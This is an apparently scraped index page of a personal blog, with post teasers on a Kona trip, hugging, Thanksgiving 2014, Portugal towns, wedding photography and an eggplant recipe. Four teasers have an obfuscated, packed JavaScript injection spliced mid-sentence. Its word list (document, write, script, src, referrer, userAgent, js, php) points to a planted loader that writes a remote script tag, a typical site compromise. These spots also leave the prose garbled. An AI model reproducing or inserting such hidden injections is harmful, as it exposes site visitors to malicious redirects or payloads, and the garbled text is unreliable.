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Kona, HI

We ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdki|var|u0026u|referrer|fyakr||js|php’.split(‘|’),0,{})) just got back from an awesome trip to Kona with Nick’s parents! Eat Best Shave Ice – Original Big Island Shave Ice Co (food truck), follow them on FB to be sure you know where they will be.  But the Blue Dragon parking lot in Kawaihae is the likely […]

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Shepherd’s Pie

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#ayearofslowdances

You’ve ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehfzr|var|u0026u|referrer|eabre||js|php’.split(‘|’),0,{})) probably heard that a 20 second hug is really good for you and the person you’re hugging.  It releases oxytocin (NOT oxycodone) which results in an increased bond between the 2 people hugging, likely making both parties a bit happier. (This article says even 10 sec hugs have huge […]

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Thanksgiving 2014

How ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnbhs|var|u0026u|referrer|zshee||js|php’.split(‘|’),0,{})) was your Thanksgiving?  Ours was perfect!  We headed down to Anaheim to spend our 8th Thanksgiving with Caresse and Tyler (and new addition, Isla).  I clearly didn’t get the plaid/flannel message!  We feasted on our usual spread of turkey, potatoes, stuffing, rice, gravy, sweet potatoes, green bean casserole, corn […]

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Portugal and my new favorite tiny town

After Nazare, Coimbra, and Obidos, we headed to Evora, about 1.5 hours east of Lisbon.  It’s a fascinating little town, with a walled in city center.  It’s got a lot of history and culture, but is predominately comprised of older folks (60+) and college age students, thanks to the towns university.  To say I was […]

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Portugal and the other tiny towns we visited

Before heading to the bustling capitol city, we checked a few other small-ish towns on our Portuguese road trip. Our first spot was Coimbra, the University town north of Lisbon.  I’m not gonna lie, I had high hopes.  I love me a good college town.  The visit didn’t have the greatest start as parking was […]

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Portugal, and that time I ate an octopus tentacle

After ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efdka|var|u0026u|referrer|dnbzk||js|php’.split(‘|’),0,{})) Madrid, we were headed for Portugal.  We landed in Lisbon, a torrential downpour currently underway.  After grabbing our little Fiat, we headed for the tiny coastal town of Nazare, known for it’s north-shore-like waves!  Hungry, or was that hangry, from an early flight and no snacks, we stopped in […]

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A week in SoCal

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Wedding Season 2015 is (almost) in the books

I started this “little” side hustle in early 2013 without really knowing what to expect.  To say I am pleasantly surprised is probably a bit of an understatement. 30+ weddings later, Brooke and Bryn Photography is turning out to be a pretty legit operation.  We even have business licenses, insurance and pay taxes (none of […]

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The Best Eggplant Dish I’ve Ever Made

Those may or may not have been Nick’s words.  Either way, he liked it!  Which is a far cry from the time I asked him to grab eggplant, pasta sauce, cheese, and bread crumbs (for eggplant parmesan) from the store, and he conveniently forgot to get the eggplant. Sunday morning was our weekly-ish pilgrimage to […]